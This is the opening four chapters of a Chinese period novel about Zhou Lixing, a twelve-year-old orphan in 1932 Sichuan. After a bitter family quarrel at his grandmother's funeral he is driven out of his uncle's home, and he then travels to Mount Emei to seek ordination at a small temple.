《我的传奇家人[年代]》
1. 洪雅
民国二十二年冬,四川省军阀第八防区的洪雅县,正迎来第一场细雪。
终年青黛的山峦披上白霜,阴冷刺骨的空气如针扎,让人忍不住瑟缩成一团。
在这个萧索冷寂的时节,年仅十二岁的周立行,失去了庇护他多年的家婆。
*
柳江镇唐家人丁不旺、家财不兴,老爷子去的早,全靠老婆子支撑门庭,散尽家财,含辛茹苦,才拉扯大了一儿两女。
唐大哥留家,唐二姐嫁得近,就在柳江镇嫁了户姜姓的殷实人家。
最貌美的唐小妹,嫁给县中心洪川镇大家族周家的幺房独儿,本算是高嫁,却命薄得很。
婚后不久,公公婆婆丈夫竟相继病逝,唐小妹生下儿子后一年多后也撒手人寰。那抽鸦片的叔伯们竟霸占了幺房田产,还把唐小妹那才一岁多的幼儿卖掉,钱拿去买成了鸦片抽。
唐家老婆子听闻外孙被卖,哭天抢地,硬是拿出自己仅剩不多的棺材钱,走了三天三夜下山去外地,将外孙儿买了回来,带回家养。
说来也怪,唐老大成婚多年无子,自从养了外甥,婆娘的肚子就跟开了窍似得,一个接一个地生。这人丁兴旺虽是好事,奈何唐家没什么家底,几分薄田难以供养这么多的孩子。
原本唐老大以为自己生不出儿子,心里也存了把妹妹遗子当亲儿子养的心,一开始对外甥也是极好的。可随着自己的孩子越发的多,婆娘的抱怨愈发的勤,再加上外甥的性格愈发的冷硬,他便也渐渐变了态度,比如此时此刻。
家中有老人过世,按当地的规矩,要请道士吹吹打打唱做三天三夜的道场,孝子贤孙披麻戴孝系上干谷草绳跪火盆守丧,外嫁女归家哭灵。白天亲朋好友、地邻同村来吊唁送白事人亲钱,孝子要挨个儿跪谢,中午晚上都要开餐宴请来人,这一番行事下来,唐家所有人都搞得神色憔悴。
现已是最后一晚的后半夜,天黑风雪寒,熬不住的小孩子们都塞进了被窝,道士们也困倦地歇了。
停灵的草棚草帘避雪不遮风,湿冷沁得人心肝肺疼,于是乎唐家人都从地坝转回了堂屋,围着炭火盆喝热茶。
只有那个外甥周立行,还倔强地跪在棺材前,不愿进屋。
唐二姐还在劝这个犟牛脾气的侄儿,堂屋里,唐家大嫂忍不住嘲了起来,她宽脸胖身,细眉细眼,语气尖刻:
“二姐子,别喊了,等他冷死算了,冷死了跟他家婆一起装棺材,还是省钱。”
这话一出,唐二姐心里鬼火起,当即给大嫂打燃火,叱道:
“你这当舅母子说的啥子屁话?哎,大哥,你木起是啥子意思?前两天外人多,我都忍了没开腔,你们到底是要干啥?”
又困又累的唐老大心里也颇为烦闷,挥着手回应道,“哎呀莫吵,好大点事嘛。冷不死的,行娃儿身上穿的厚棉衣,我妈亲手给他缝的,我的娃儿些都没有,仅他一人有呢。”
唐二姐虽然嫁了人,但夫家就在柳江镇边上,比唐家这在柳江镇山里的着实好过太多。平时里,唐二姐隔三差五的带东西回来贴补娘家,理所应当地觉得自己在唐家有说话的份。
再加上她和小妹自小感情深厚,母亲又疼爱行娃儿,于是她也一直在照管行娃儿的吃穿。眼下亲妈刚走,大哥大嫂便这幅阴阳怪气的样子,她心里的火腾地烧进脑壳,三天三夜没休息好的她一时间没了理智,便吵嚷起来。
“你们两口子简直不要脸,这棉衣的棉花是我称来给行娃儿的,他才十二岁,平日里给你们挑水背柴米放牛种田的,秋收刚完又被你们喊去曾家的码头上做小工挣钱!河风那么冷,你们连个厚衣裳都不给他缝!我妈要死了还在给他缝衣裳,说起来都伤人!”
“还说啥你们的娃儿没得,我送来的棉花做铺盖都够,剩的棉花遭你们凉拌吃了吗?都说舅舅当爹舅母是娘,你们当的锤子舅母娘!”
唐家大嫂也是不服,一撸袖子就冲过来,指着唐二姐的鼻子开骂。
“你英勇,你厉害,那你把行娃儿弄到你姜家去供嘛!不做工挣钱,你们供他去上学堂啊!长大你们出钱给他接婆娘啊!都说嫁出去的女泼出去的水,就你一天到晚回娘家耀武扬威,你硬是凶完了!这唐家到底是你大哥做主,还是你做主啊?”
“唐家轮不到我做主,也轮不到你放屁!”唐二姐火冒三丈。
“那你说锤子说!他是周家的子孙,周家不管不要拿去卖了的!我们唐家养起他,不干活不做工那养来搞啥子?你还来这要管那要管,拿去你姜家管撒!”
唐大嫂的手指头不停地往唐二姐脸上戳,一脸愤怒不平。站在她的角度,她觉得自己冤枉极了。
“你啥子意思!张口闭口姜家,我也姓唐!”
唐二姐被指着鼻子骂,反手就是一巴掌打开唐大嫂的手。
唐大嫂当即扑抓伤唐二姐的头发,要把人往泥地里拖了拖,两人就这么扭打了起来。
一直跪在棺前的瘦小少年突然动了,他手里的烧火棍尖端刚刚拨弄过炭堆,抽出来的瞬间还亮着橙红的火星,只见他忽然站起,稳准狠地一棍戳到了唐大嫂抓着唐二姐头发的手上。
“啊!!”
唐大嫂发出一声惨叫,跌坐在地。
唐二姐往后跌跌撞撞地退,被不到心口高的小孩子扶住。她的头发被扯了好大一缕,头皮刺痛,殷红的血顺着额头流了下来。
“龟儿子哦,你这烂心烂肺的狗东西,竟然拿火棍烧我,你这是要想我死啊……”唐大嫂的手烫起好大的水泡,她直接在泥地里哭嚎起来。
“滚!滚出唐家!这个家养不起你这种黑心烂肠的东西!跟着你姨妈滚!”
唐二姐脑袋嗡嗡响,不可置信地看向唐大嫂,然后慢慢将视线移向唐老大。
唐老大抱手站在堂屋门槛,根本没有来拉过架。他的表情很复杂,有愤怒,有懊丧,有难过,甚至有些许悔意,但是他一声不吭,默许唐大嫂的哭闹。
心里像是被吹过一阵冷风,雾散开,冰冷的雪落进了唐二姐的心里,她吼归吼闹归闹,只是想给侄儿挣点面子,让他在唐家好过点,没想到……
不,没什么想不到的。这几天,大哥大嫂当着她的面各种挑刺行娃儿,是笃定了她脾气不好,一定会闹,然后他们就可以借机打势,把行娃儿赶走……
“姨妈,擦血。”
周立行虽然十二岁了,却比同龄人瘦小许多,手脚细长,肤色也是不太健康的黄,五官未曾张开,那些许的俊秀被瘦弱掩盖了,只有一双眼黑亮得很,眼神跟刀子一般,又沉又刺人。
他平时沉默寡言,也不爱笑,脾气倔强,这般态度十分不招长辈喜欢。但实则聪慧得很,心细敏感,他能感受得出很多人真正的态度,只是不想拆穿。
唐二姐被周立行提醒,却因觉得自己中了奸计犯了大错,有些木楞。
周立行叹口气,从棺木前面捡了些本用来烧的黄纸,塞到唐二姐手里,然后他走到堂屋前,跪了下去。
周立行第一个头磕下去,地坝里的唐大嫂像只突然被捏住喉咙的鸡,哭骂声戛然而止。
周立行第二个头磕下去,呆立的唐二姐突然明白了什么,眼泪一下涌了出来。
周立行第三个头磕下去,他尚且稚嫩的童声响起:
“舅舅,这三个头,感谢您这些年的照拂。”
“舅妈,从小你就不喜欢我,为难我的时候太多了,我就不给你磕头了。”
“家婆天天说,家和万事兴。这家要是有我就不安宁的话,我就不待了。”
“明个把家婆送上山,我就走。”
“祝愿你们身体安康,家财万贯。”
……
送人上山入坟,是本地葬礼最重要的环节。
周立行依旧沉默,他披麻戴孝以贤孙的身份送家婆走完最后一程,磕完头,便回唐家收拾包裹。
说收拾,其实也没有什么太多东西,秋天的衣服刚一过季节,便被唐大嫂收起来准备给弟弟们长大穿了。周立行除了身上的棉衣,也就两套勉强还能换洗的衣裤。
唯独他常年不离身且爱惜的是一把匕首。是家婆给他的、据说是家公当年用过的一把短砍刀。他十岁的时候抓了山上的一只大野狸子,送去拜托镇上铁匠把砍刀重新锻打成了一把没有任何装饰匕首。
唐家两口子没有挽留,唐大嫂的手挑破了水泡,涂着清油,她手上痛,心里也烦闷,也不知道该不该说话。毕竟她当了这么多年的恶人,临到最后外甥离家,就没必要再结什么仇了。
家里的孩子们并不知道发生了什么,但大人们凝重的氛围感染了他们,于是个个躲在屋子里不敢出来,只能不舍地看着表哥周立行收拾东西,但并不敢说什么。
周立行一眼也没有看这些弟弟妹妹,不想看,也不敢看。毕竟从小一起长大,情分总是有的,看了,会伤心。
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唐老大抽着叶子烟,眉头紧皱,他前些年受伤断了腿,之后就做不得重劳力活,家里的几分薄田种起来都难,收入自然艰难。要不是唐二姐时不时的接济,也许矛盾爆发的更早。
他也曾经想过把周立行留下来做工养家,奈何这个外甥年岁小脾气蛮,去码头做工两个月,只捎回来一点点小钱,想来心里已经有了计较。
自家婆娘心胸也窄,尤其是自家孩子越生越多,她偏心的也越来越明显,常年看不惯要骂外甥。而立行的脾气,谁家的恶狗向他吠叫,不出两个月,狗必死在某个角落,别人不知道,他却是心里有数的。
这般的孩子,小的时候还好,眼看着就要长大了,又失了家婆对他的牵制,再留在这样的家里,总归是要留成仇人的,不如就此断了还清净。
在周立行出门之前,他放下烟杆,放了三块银元在满是划痕的木桌上。
“都说十二岁朝天百姓,你也算大人了,既然决定要离家,这便算是与你的盘缠。出门在外,防人之心不可无,保重自己。”
唐大哥顿了顿,复而又忍不住多叮嘱一句,“别走远了,继续在曾家码头做工也行,就在周边乡镇当个佃户长工也可……你实在遇到什么难事,还是可以回来找亲戚的。”
唐大嫂瞪大眼,嘴唇又是急促地颤动,但最终也没吱声。钱财她固然舍不得,但真让外甥分文不拿地走,她又怕被村里人摆闲话。
周立行看了一眼银元,稚气的脸庞平静无波。他所有的眼泪和哀伤都在葬礼上消耗完了,小小年纪的他并不懂得大人们情感面对利益拉扯时的反复无常,他只能简洁明了地感知,这个家是非常决绝的要赶走他,毫无退路。
所以他一言不发,直接迈出了门槛,把这个生活了十年多的家,抛到了身后。
今日的雪更大了一些,周立行沿着山路往下,岔路口上遇到站在青松树下哭花脸的姨妈唐二姐。
“行娃儿……”唐二姐用手帕把眼泪鼻涕擦干净,红着眼睛问,“真的要离家?”
“嗯。”
周立行点头,青山雪地里背着个蓝布包裹,棉衣都掩盖不住他的瘦弱,仿佛一阵风就能把人吹上天去一般,看得唐二姐心中难受。
“跟我去姜家吧,我家地比唐家地多些,你来给我家种地,包你吃穿不愁。”
唐二姐拉周立行的手。
周立行摇头。
他是伤了舅妈的手出来的,乡里乡亲会传闲话。姨妈人好心也好,却仿佛不明白,他这种没爹没妈的孤儿,寄人篱下都是难过日子的。
他的性格不好,平时隐忍沉默,只是为了减少暴力冲动,不让家婆为难,并不是真的软弱纯良。这样子的他,又何必去惹得姨妈家鸡飞狗跳。
周立行抬头看向这个傻辣子姨妈,轻声道,“姨妈,妈,你抱我一下,就像小时候那样。”
唐二姐的眼泪又飚了出来,她从小看到大,晓得行娃儿是什么性格,跟他那死去的亲爹一模一样,死犟,定了的主意十头牛也拉不回来。
“咋地喃,我家那口子虽然说话也不好听,但心地是好的,不会跟唐大嫂那样明里暗里赶人……”
唐二姐常年干农活,力气是有的,她一边说,一边打横把周立行抱起来,就像是抱小娃子那样,眼泪直往周立行的脸上滴落。
“你都十二岁了,才跟我家九岁的四娃子一样重,你这样出去外面,我咋个放心的下……”
周立行没说话,他闭上眼睛,假装自己是个奶娃子,还在母亲的怀抱里。他记不得父母的样子和味道,只能通过这样的方式,在妈妈的姐姐身上,给自己留一个母亲的印象。
“人各有命。”周立行挣脱了怀抱,跳到地上,向姨妈挥手告别,“以后混出名堂了,逢年过节会带上礼去看望你。”
唐二姐上前两步,将个小钱袋塞进周立行的怀里,“这是从我嫁妆里拿的钱,你就当是家婆给的,收下。一定要好好的啊,姨妈盼着你好好长大……”
周立行没有推脱这个小小的布钱袋,他郑重地点头,“我会好好活的,有缘再会。”
此刻的他尚且不知,他无缘再和亲人相会,但他确实做到了他的承诺,无论境遇如何,都好好的活下去。
小小的他在这个冬日,在四川军阀混战未定、各自划分防区的1932年,走向了他乱世中刀口喋血、得失难量的未来,开启属于他凄凉也温暖的传奇人生。
2. 洪雅
曾属上川南道的洪雅县,地处四川盆地西南边缘,在那高山往平原陡下的青衣江中游,七山二水一分田,田地集中在沿河平坝的洪川镇。
洪雅县最显赫富庶的家族是洪川镇的周家,明清两朝出过文状元和武状元,良田千亩佃户成群,然而到了清末,一代代的当家人吸食鸦片,卖田卖地,族内人心不齐,分房分家,不同房辈之间矛盾不断;到后来,竟是连自家人也卖,迅速没落了。
现如今,整个洪雅县最有钱有势的家族,是柳江镇的曾、张、杨、何四大家族,民间有俗语“曾家的房子、杨家的顶子、张家的丫头子、何家的谷子”,说的是曾家的房子多,杨家的官多,张家的丫鬟漂亮,何家的田地粮食多。
柳江镇的兴起,离不开场镇上的码头,那年头陆路蜿蜒不通,各地山匪众多,水路反而更受青睐,毕竟船比车更能装东西。从柳江镇的水路,可以入青衣江,到乐山三江回流,再下三峡,进长江,最终汇入上海。
周立行心里憋着一口寒气出了门,却也没想好要去哪里,要怎么过活从舅舅家出来,暂时落脚在柳江镇的码头上。
幸好川南洪雅气候温和,冬天只要不往山上走,便鲜少下雪;常年绿叶的林子和落叶树木混杂,植被丰富,柳江镇往高山上走一些,各类动物种类也多,只要掌握了捕猎的技巧,寻得到暖和避风的角落,是不至于冻死饿死的。
再不济,顺河而下,止戈场镇和洪川场镇都有大码头,左右不过找这些人口稠密地方的大户人家做些工,有口饭吃,有个屋檐遮风避雨睡觉,不惹事不打架,总能活下去。
但此时正值冬日,曾家码头浮着一层薄冰,船运停了,往日里热闹消散,便显得有些寥落。
原本打算继续在码头当小工的周立行没了着落,只能在柳江场镇上晃荡。
柳江场镇上乞儿不多,周立行也不去与那些孩子争,他沉默且勤快地想起了自己的办法。
他用竹编的鱼篓装些蚯蚓,撬开花溪河里的薄冰去捕鱼,再用鱼到镇上饭馆换些剩菜饭吃,又以帮店家洗碗擦桌子的代价,晚上歇在了店外炉子旁。暂时算是能吃饱睡暖,十几日下来,他甚至没有动过身上的小钱包。
冬日里难得一见的晴天,周立行在青石板老街的墙角蹲着晒太阳,听旁边茶馆里的人谈天论地,今日里茶馆似乎来了一些外地人,口音有些浓厚,讲着一些周立行听不太懂的话,甚是慷慨激昂。
“……那狗日的小日本占了东三省还不罢休,又切打上海,十九路军血战了一场,打不赢啊,嚯哟,南京那边竟然答应要取缔全国的抗日运动……”
“……外面的蒋老大非说啥子“攘外必须安内”,要先打那群咳咳咳……”
“……外头看样子是越来越乱,不过好在我们四川内部差不多要斗平了,混战这么十来年,防区都划得差不多了,这要是斗出个老大嘛,以后就太平了吧……”
周立行抠着多日没洗有些发痒的头皮,心中烦闷,本来是想听听哪家人冬日里开席办酒需要小工,哪晓得这些走南闯北的商客们尽讲些没用的废话。
周立行站起来,决定还是去河边守鱼篓子算了,此时一旁的小路上走来一个算命先生。
这算命先生头戴土黄瓜皮帽,身穿对襟黑皮袄,深蓝色的长衫长裤像是几年没洗过,年纪约过五十,浑身一股子走江湖的臭味,
他边走边打量周立行,从身边过的时候,突然长声悠悠地叹息道:“六亲无靠,刑克至亲,孑然一身,惨噢惨噢!”
周立行听不懂,只觉得这算命先生在骂自己,现今不同往日,他不再寄人篱下,顿时本性勃发,狠狠地睐了算命先生一眼,张口便是唾沫一啪,吐在算命先生鞋子上。
算命先生脸色一黑,怒道,“小子,不怕死啊?”
周立行扭头,摆出个不屑的表情,手里握着匕首,“生死有命,富贵在天,怕锤子!”
这算命先生一愣,哈哈大笑起来,“你这性子,倒是个袍哥苗子。先生我今日与你有缘,来,小子,过来,我给你算算命。”
周立行在码头上干了两个月,听船夫挑工们讲过算命的事情,听起来玄之又玄,有的人说的算命先生好似诸葛在世,啥事儿都能给你掐算出来,趋吉避凶;也有的人讲的算命先生听起来奇奇怪怪,坑蒙拐骗一般满口胡诌,屁用没有,只有蠢人才上当。
不过小孩子,总是好奇的,周立行犹豫了一会儿,跟算命先生一起蹲在了街边上。
“怎么算?先说清楚,我没钱的哈,也不得帮你做事,你要算就算,不算就走。”
周立行先叫了规矩,他可不能被下了套,听闻一些拐子会把小孩骗去打断手脚当乞丐,叫什么采生割折的,血腥得很。
算命先生一双眼精光闪烁,被着凶叉叉的小娃逗得乐,他仔细端详这防心甚重的小娃,“你记得自己的生辰八字吗?”
“不记得。”周立行心想我个孤儿,记得个鬼。
“啧,小孩子根骨没成,摸骨是不行了。相面看手,也是不准,开盘起卦我要收钱,那你这咋算。”算命先生一幅犯难的样子。
周立行冷笑,准备起身走人,“那你算个屁。”
这算命先生又笑起来,挥舞着手臂扯住周立行,“哎,算了算了,那你叫啥名呀?”
周立行被扯得又蹲了回去,他拍开算命先生的手,闷声道,“姓就不说了,名叫立行,家婆说是立说立行,说了的事情就马上去做,不要磨磨蹭蹭留下遗憾。”
算命先生见着小子还是防备,不愿意说全名,也不再问他,只是闭着眼睛手指头一阵摆弄,便低声道:
“我已经掐算了。小子,你父母早亡,刑克至亲,孑然一身。若是哪个对你好,便会命数不长,不是早夭就是病
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亡;守家不住财,娶妻不得子,是个极为不好的命呢……”
周立行有些话听不太懂,有的可明白得很,这简直就是咒人嘛,他立马捡起地上的石头就要给这个乌鸦嘴来几下。
算命先生站起来笑着蹦开,一脚把周立行轻踹倒地,指着他的额头道:
“你这娃子,脾气也太凶暴了,待你再长几年,杀性自起,更难善终。先生我与你一条改命的路子,你啊,出家去吧,找个寺庙,或是道观,诵经念文,平心静气,积福积德,如此到而立之年再入世,方得善终。”
周立行摔在地上滚了个圈,意识到这算命先生有巧劲,轻轻一蹬腿自己就摔了,偏又摔得不痛。
他眯起眼睛,脑袋里念头旋了几圈,最终问道,“而立之年是啥子意思?”
“笨小子,没读过书吧,而立之年……哈哈哈,等你去读了书,就知道了。”
“万般皆下品,惟有读书高,书中自有颜如玉,书中自有黄金屋,读书能改万般命,由天由地也由人……”
算命先生说着唱歌般的曲调,晃晃悠悠地走了,一眨眼便爬上了那石板阶梯,消失在了寒霜挂枝的街口。
周立行站起来,拍了拍身上的润土湿灰,心里一阵空虚。
父母早亡……若是哪个对你好,便会命数不长……守家不住财,娶妻不得子……待你再长几年,杀性自起,更难善终……
他喜欢进山里抓野味,能用镰刀砍蛇头,能用石头砸飞鸟,野兔野鸡,河虾河鱼,他都会想方设法去逮。逢年过节别人家杀年猪,那猪哀嚎丧命的时候,他和那些杀猪人一般满心欢喜。当然这些都不算特殊,乡村的小男娃子们都喜欢这样,骨子里流淌着狩猎的原始本能。
但他看过码头上的打架杀人,那挑工们打红眼发疯了,能用石头一下子将对方的脑袋砸烂,血肉被敲成泥团。
那日他就那样看着,心跳很快,不是害怕,而是激动。他想着若是自己有一天长大了,要去给父母报仇,能不能这样砸死那些卖掉他父母家产、还卖掉他的仇人。这样的想法,让他十分期待自己长大。
可是现在听着算命先生一讲,会不会,是他命不好,才妨了父母,害的家婆也去世呢?
他以后要是有了喜爱的婆娘娃儿,也会这样命数不长吗?
小小年纪的周立行,第一次在思索中,感受到了恐惧。
他什么都没有做,就因为出生,或者说所谓的命运,就要承担这一切吗?
不,这不公平!
说书先生讲过什么来着,王侯将相宁有种乎!一命二运三风水,四要读书五敬神…
如此说来,要破解这一切,竟真的是要出家吗?!
呆愣楞地在原地站了许久,周立行才往前走,这一动,他忽地觉得不对劲,伸手往怀里一摸!
他的小钱袋呢!怎么不见了!!!
3. 峨嵋山
虽是怀疑那算命先生拿了自个儿的钱袋,但周立行也不敢断定。
因为他回码头后,把这事儿模模糊糊地给认得的挑工们讲了讲,挑工们一致认为他是遇到了贵人,这是要指点他改天换命呢。
接下来的一段时间,周立行继续混迹在柳江镇,他一改当初在家的沉默寡言,开始效仿周围能学的一切人员,船工、挑工、商贩、店家、大户人家的佣人、田地里做活的佃户长工等,他学习他们的话语、动作、表情,跟着街面上的牌子学一些字,听他们聊天,并试探着询问一切关于寺庙道观的消息。
最终,他知道了,离洪雅县最近的最厉害的佛教圣地、普贤菩萨的道场——在峨嵋山。
那里有上百座香火鼎盛的寺庙,往来人流极多,有慧根的弟子入了寺庙,便能接受佛光护佑,平安长大,若是得了佛缘,说不定还能修成罗汉果位呢!
信息打探到位,立说立行的周立行马上带着包裹出发,趁着马上要过年了,去投寺庙!
*
从洪雅去峨嵋山,有两条路。
一条是跟着花溪河往下到县城的青衣江,沿河而上从夹江县过去,这一路人户较多。商路发达的地方算是比较安全,小孩子走起来的话,至少要三四天。
还有一条路是从柳江镇往山上走,过了高庙,到七里坪,沿着山间小道,有条捷径可以直达峨嵋山,大半天便能到。
可这条路虽近,却要在冬日里穿过积雪的山林,一路人烟稀少,野兽繁多,且山间有棒客匪徒,若是不小心,极有可能丧命山间。
周立行人虽小,但也惜命,他纵然有几分捕猎的本事,但也不至于敢寒冬腊月的独闯积雪深山。
虽然丢了姨妈给的小钱袋,幸好他狡兔三窟,之前在码头做工的两个月,留了些小钱装陶罐里挖坑埋起来的,想着就是防一个万一。
他挖回了自己的陶罐,用那为数不多的钱当保命盘缠,从洪雅县直奔峨嵋县。
时值寒冬,周立行穿着家婆临终前给的棉衣,身子倒是暖和,脚上穿的却还是单布鞋,手脚耳朵却如往年一样生着又红又肿的冻疮,又痒又痛的。
也亏了他这一身的棉衣,聪慧的他又一直不远不近地跟着三五成群的大人们走,一路上没人把他当乞丐,都当是有人带着的,加之这三个县口音相近,没出什么危险。
周立行跟着行商,到了峨嵋山下的青龙场,这里是一座始建于唐代的古镇,因依山傍河,又是明清茶马古道从平原进入山区的第一站,此地商贸颇为繁华,场镇上来往人员看起来衣食富足。或许是因为靠着峨嵋山的缘故,场镇也显得颇为宁静祥和。
峨嵋山是普贤菩萨的道场,这普贤菩萨乃是中国佛教四大菩萨之一,于释迦牟利、文殊菩萨一起合称“华严三圣”,又称释迦三尊。普贤不仅是川内人会来朝拜,许多信奉藏传佛教的民众亦有到此供奉的。
周立行青龙场找家客栈好生歇了一夜,第二日便照例随便找了家茶馆外面听墙角。也算是他运气好,再过几天便是农历十二月八日,便是俗称的“腊八节”,也叫“法宝节”“佛成道节”,山上各寺庙都要开门发八宝粥。
虽不知道这个拜进寺庙要走个什么礼节,但周立行心想免费的粥一定很多人抢,他得早早去排个位置。
于是第二天一大早,周立行就往山上赶去。
因上山顶朝拜的人多,峨嵋山的山路早就被各善男信女们几百年来捐款出力修成了石梯,一年到头来往的人也不少,颇有古韵的石板都被踩出不少凹坑。
周立行沿着山路爬了小半天,沿途看到好些石碑牌,盖因识不得几个字,便不知道那沿途其实已有好多个不大不小的寺庙。他只跟着主路走,也并不知道自己会去哪里。
然后,走到一半,他没法走了。
前面有一群泼猴拦着路,过往行人若是落单,加之没有带棍子,那是极容易会被泼猴们索拦抢包的。
这些泼猴也是聪慧,识得男女老少,抢东西也是先抢女人和小孩的,若是青壮男子肌肉虬扎,它们也会掂量掂量,颇为欺软怕硬,毕竟若是惹到了本地猎户,那热油猴脑也是能卖给有钱人尝尝鲜的。
周立行起了个大早,现在天色刚明,山路上没什么人,那猴群见他一个小娃子,有几只猴子便龇牙咧嘴地叫着,盯上了他的小包裹。
峨眉山的猴子是藏酋猴,是猴子里体型最大最强壮的,习性结群好斗。强壮的大猴子站起来宛如壮汉,比周立行还高两头。
虽说周立行也是山里长大,可洪雅山里少见猴子,他算是第一次和猴子对峙,只顾着防备前面张牙舞爪的几只,没想到猴子们也会声东击西,背后偷袭。
待背后一痛,他的小包裹已经被猴子暴力撕开,其中衣物和小钱罐尽数被抢了。
一路上谨慎,再也没被偷更没被抢的周立行,竟然被一群猴子给打了劫,他瞬间怒气勃发,抽出腰间的匕首,面红筋涨地追了上去。
“死猴狲儿!给我回来!”
猴子肯定是不会听话的,那几只抢了东西的猴子在山林树木间腾挪跳跃,呼啸声宛如嘲笑,气得周立行跟着吱哇乱叫。他捡起地上的石头砸,跟着在树下追,摔了好几跤,得到的结果就是猴子们把衣服和小钱罐丢下了山崖。
“啊!!!!”周立行气得双眼通红,把匕首往嘴里一咬,脱了鞋子直接往树上爬,势要弄死一两只猴子泄愤。
猴子眼看着小人娃子竟然如此身手矫健,三五下就上了树,顿时来了兴趣,竟然围攻了过来。
在树上不比在平地,周立行反倒是站立不稳,然而他气得失了智,力气也不止大了一倍,骑在树枝上夹紧双腿,手里的匕首挥舞得虎虎生风,有两只猴子被伤了手脚,痛的嗷吱大叫,其他猴子见状倒也怕了,赶紧溜走。
周立行伤了猴子出了气,身上的棉衣也被猴子抓破了,他下了树,眼泪汪汪地站在山林崖边,悲从中来。
小小的他不知道如何做才正确,但也有了后悔的情绪。早知道衣服钱罐弄不回来,还不如不要去追,反倒是弄坏了家婆的遗赠。
此刻,双目含泪的他,犹豫着到底是下山去找他的衣服和小钱罐,还是接着往山上走。
林间一阵嗷哇乱叫,周立行悚然一惊,回头一看,山林间枝叶晃动,竟是那些受伤的猴子们回去呼朋引伴,搬了援军来围攻。
正在此时,一名约莫十七八岁的麻衣和尚挑着一担米,沿着山路而来,转过拐角的岩石,正好看见一群猴子围殴一个小男娃,要把小男娃往山崖下面推。
情急之下,麻衣和尚大喝一声,放下米,抽出了挑担。
山上的猴子聪明,晓得哪个是山里的主人,那些是山里的客人。外来的游人施主们,来
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了就走,那就是迁徙的客人,可以被它们欺负。光头的和尚,那可是天天住在好房子里的主人,偶尔还会施舍它们吃食,若是不听话,僧人们打起猴子来可比普通人厉害多了。
所以这和尚一声高吼,那边猴子们有几只回头,立即掉头就跑。
于是乎,没来得及跑的猴子们,挨了一顿扁担爆头,打得满地逃窜,也迅速哭嚎着跑掉了。
周立行眼看着一个英俊和尚前来救他,扁担挥舞,身姿矫健宛如游龙,比那些个打架的镖师武行威风多了,看得有点发呆,心想这本事真漂亮。
“小施主莫怕,有没有受伤?可丢了什么东西?”
周立行看了看自己,棉衣被抓了个稀巴烂,白白的棉絮七翘八拱,他赶紧抹掉眼泪,双手合十回了个礼,“师傅,我手里有匕首,猴子们没敢太近身,只有些抓伤,没有被咬到。只是我的包裹被丢山崖下了。”
那和尚,浓眉高鼻,肤色白皙,宽肩长腿身躯不薄,看起来端正温润,他温声道:“小施主的家人呢?”
“家人都死了,算命的说我应该出家,我便来出家了。”
周立行回着话,突然“哎呀”一声。
和尚随着周立行的眼神看去,原来是他的两桶米,倒了一桶。
周立行赶紧一溜小跑过去,把桶扶起来。地上的米混入湿润的黑土落叶中,周立行蹲下去,先小捧小捧地把面上的米捧进去,然后细细地一颗一颗捡起了米。
那和尚见着小孩子细心,也蹲着跟着捡米,这年头不太平,粮食金贵得很,便是一粒米也不能丢的。
周立行打量着这个和尚哥哥,见他衣服洁净,神色安然,体格也健康,顿时觉得这人在的寺庙一定过的不错,于是直截了当地问道:
“师傅,我能投到你在的寺吗?”
和尚看向眼前这个满脸倔强的小孩,发现对方的眼神又黑又锐,许是刚和猴子们打了一场的缘故,脸边有几缕血丝,身上还带着些锐利的战意。
不是个普通孩子,和尚心想,起码是个有心气的,怎的会被算命的诓来出家呢?
“峨嵋山寺庙众多,有名的十大寺庙如报国寺、万年寺、伏虎寺。洗象池、清音阁、雷音寺等,香客信众多,你若是想出家,还是找大寺为好。”和尚神色宁静,实则婉拒。
周立行学着和尚微笑,“不是说出家人慈悲为怀,讲究缘分吗?今日你若不救我,猴子也许已把我推下崖了,既然你救了我,我便与你的寺有缘,其他寺再大再好,与我何干?”
这段话里的用词,好些是他从茶馆里听来的,自从决定要出家,他格外地注意这些词,此刻用到,心中也是有些开心。
和尚没想到,这小娃还能说出这般的话,心中啧啧称奇,倒是没再推脱,只说实话。
“佛家慈悲为怀,但也不是人人都收的。我所在的寺小,却颇有规矩,若有入寺孩童得主持先过眼,有缘的可拜入佛门,缘浅的可在寺内打杂一年半载,着实无缘的也可收留十天半月。”
和尚温和地解释道,“贫僧法号静空,小施主身上有伤,随我去寺里先上个药吧,今日主持出门,你且在寺中歇息。若是真想入寺,待主持明个回来,我再带你去试试。”
就这样,周立行跟着静空,踏上蜿蜒的石阶小道,走过千年古松,在腊月的冷岚薄雾里,踏入了回岸寺的大门。
4. 峨嵋山
静空回寺放下米担子,便带周立行去处理伤口。
寺庙里的井水烧开,用棉布沾水清洁了伤口,再用烈酒消毒,然后涂上了自制的草药。末了,他还带周立行去吃了斋饭。
周立行饿得很,勉强撑住形象不要舔碗,吃完饭立马洗干净自己的碗筷,然后向静空借了针线,先把自个儿身上的棉衣缝好。
没等别人吩咐,他便自己找了笤帚,把原本就算整洁的寺内院坝、寺外台阶统统扫了一遍,引得这有十来号僧人的中等佛寺人人侧目,对这勤快知恩的小孩颇有好感。
做完工,周立行自觉没有白吃白喝,便理直气壮地找个避风的角落,睡在了供奉菩萨的香案下面。
这一路来,不说担惊受怕,也是精神紧绷,周立行吃饱喝足,稍一懈怠,闻着那香烛的味道,便安心沉沉睡去。
朦月上枝头,星子轻闪烁,转眼天边微显鱼肚白。
早起的僧人们开始晨拜、上香、诵经,集体上殿做早课,有节奏的木鱼敲击着,伴随低沉稳重的吟唱声,唤醒了香案下的周立行。
周立行没有钻出来,他舒舒服服躺在这小小的温暖空间里,听僧人念起了咒。
他心想,既然自己是要出家的,那这些事儿以后也是要办的,不如今个就开始先学一学。
于是,他宁心静神,跟着那僧人的口音轻声学了起来。
*
日过三竿,老主持终于回了寺,静空立即去向老主持禀了这件事。
老主持十五岁在这回岸寺出家,到如今已经快六十载,现如今管理着这共有十九名僧人的寺庙。
他自己只收了两名弟子,其余都是记在其他和尚名下。他的大弟子静诚已经三十有六,是他培养的下一任主持;小弟子便是静空,是山下一个大户人家送上来的幺子,也是被批了命格说要出家才能护佑家人,否则家中必遭劫难的。
所以,老主持听静空这么一说,便知道静空也是认了这缘分。
这个叫周立行的小娃子,能一个人走过三县的路平安到达,被猴狲欺负时又能恰好被静空所救,还有个同样的被批命出家的过往,这真真也是缘分了。
不同的是,静空是被家人送来,小时候常常郁郁不乐,而这周立行,却是自个儿来投,积极得很。
于是老主持唤了周立行,打算好生跟他谈一谈。
*
周立行听闻老主持回来,早就跟在门外候着了,此刻赶紧进门,学着香客的模样,向老主持跪拜。
“老主持好,我是周立行,想来贵寺出家的。”
